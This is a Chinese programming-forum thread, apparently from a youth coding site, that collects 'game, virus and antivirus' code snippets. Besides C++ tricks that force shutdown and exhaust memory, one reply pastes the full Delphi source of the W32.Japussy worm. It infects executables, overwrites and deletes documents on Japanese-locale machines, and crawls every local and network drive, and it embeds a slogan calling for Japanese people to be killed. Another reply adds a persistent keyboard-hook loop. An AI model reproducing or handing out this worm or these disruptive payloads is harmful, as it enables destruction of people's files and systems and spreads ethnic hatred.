问题标题: 酷町堂:做游戏、病毒、解毒程序常用代码

3
7
已解决
董子墨
董子墨
中级天翼
中级天翼

(希望我的板块没发错)

游戏常用代码

输出函数:

void out(string cut){
	for(int i=0;i<cut.size();i++){
		cout<<cut[i];
		Sleep(30);
	}
}

功能:间隔30毫秒输出一个字符

需要头文件:#include<windows.h>

输入:

char tmp=getch();

功能:输入一个字符tmp,输入后不需要按回车键,不显示这个字符

需要头文件:#include<conio.h>

病毒:

关机:

system("shutdown -s -t x");

功能:x秒后关机,不会因关闭程序而不关机。

重启:

​system("shutdown -r");

休眠:

system("shutdown -h");

需要头文件:#include<cstdlib>

爆内存:

while(1){
    int *p[1000000];
}

功能:如果不关闭程序,内存:危。

解毒:

system("shutdown -a");

功能:取消关机。配合while(1)使用,效果更佳

需要头文件:#include<windows.h>

董子墨在2021-01-27 11:19:13追加了内容

欢迎大家补充

董子墨在2021-01-27 11:29:08追加了内容

考验人品代码(随机数):

srand(time(0));
	tmp=rand()%(a-b+1)+b;

功能:随机产生一个[a,b]的数


0
已采纳
包涵宇
包涵宇
中级天翼
中级天翼

双向缓冲钩了解一下?

HHOOK m_hHOOK1 = NULL, m_hHOOK2 = NULL; 
m_hHOOK1 = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle("HOOK"), 0);
m_hHOOK2 = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle("HOOK"), 0);
while (true){   
    UnhookWindowsHookEx(m_hHOOK1);
    m_hHOOK1 = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, 
    GetModuleHandle("HOOK"), 0);
    UnhookWindowsHookEx(m_hHOOK2);
    m_hHOOK2 = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle("HOOK"), 0);
} 

呵呵

0
0
0
0
0
黄子澄
黄子澄
中级天翼
中级天翼

虽然我不知道这是啥

program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小

IconOffset = $12EB8; //PE文件主图标的偏移量


//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量


{
HeaderSize = 38912; //Upx压缩过病毒体的大小

IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量


//Upx 1.24W 用法: upx -9 --8086 Japussy.exe

}
IconSize = $2E8; //PE文件主图标的大小--744字节

IconTail = IconOffset + IconSize; //PE文件主图标的尾部

ID = $44444444; //感染标记


//垃圾码,以备写入

Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明

var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记

{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x

Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分

dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?

end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出

if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染

Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头

begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记

begin
IsPE := True; //是PE文件

Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记

SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染

Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出

Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流

aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件

HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记

DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件

DstStream.Free;
end;
except;
end;
end;

{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性

FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件

try
Size := GetFileSize(FileHandle, nil); //文件大小

i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数

if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小

Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位

//写入垃圾码,将文件彻底破坏掉

FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件

end;
DeleteFile(PChar(FileName)); //删除之

except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母

begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘

if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录

else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录

else Result := 2; //是根目录

end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑

if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件

end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入

//感染浏览此网页的所有用户

//哪位大兄弟愿意完成之?

end
else if Ext = '.WAB' then //Outlook地址簿文件

begin
//获取Outlook邮件地址

end
else if Ext = '.ADC' then //Foxmail地址自动完成文件

begin
//获取Foxmail邮件地址

end
else if Ext = 'IND' then //Foxmail地址簿文件

begin
//获取Foxmail邮件地址

end
else
begin
if IsJap then //是倭文操作系统

begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件

end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑

Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings[i] + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;

var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统

IsJap := True; //去死吧!

DriverList := GetDrives; //得到可写的磁盘列表

Len := Length(DriverList);
while True do //死循环

begin
for i := Len downto 1 do //遍历每个磁盘驱动器

LoopFiles(DriverList[i] + ':', '*.*'); //感染之

SendMail; //发带毒邮件

Sleep(1000 * 60 * 5); //睡眠5分钟

end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x

RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程

else //WinNT

begin
//远程线程映射到Explorer进程

//哪位兄台愿意完成之?

end;
//如果是原始病毒体自己

if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件

else //已寄生于宿主程序上了,开始工作

begin
TmpFile := ParamStr(0); //创建临时文件

Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格

ExtractFile(TmpFile); //分离之

FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之

InfectFiles; //感染和发邮件

end;
end.

0
汪恺恒
汪恺恒
中级启示者
中级启示者

卡电脑

Sleep(10000000);

要加头文件#include<windows.h>

0
赵朗
赵朗
高级光能
高级光能

阿西吧

命令提示符她不香吗?

搞那么复杂

我要回答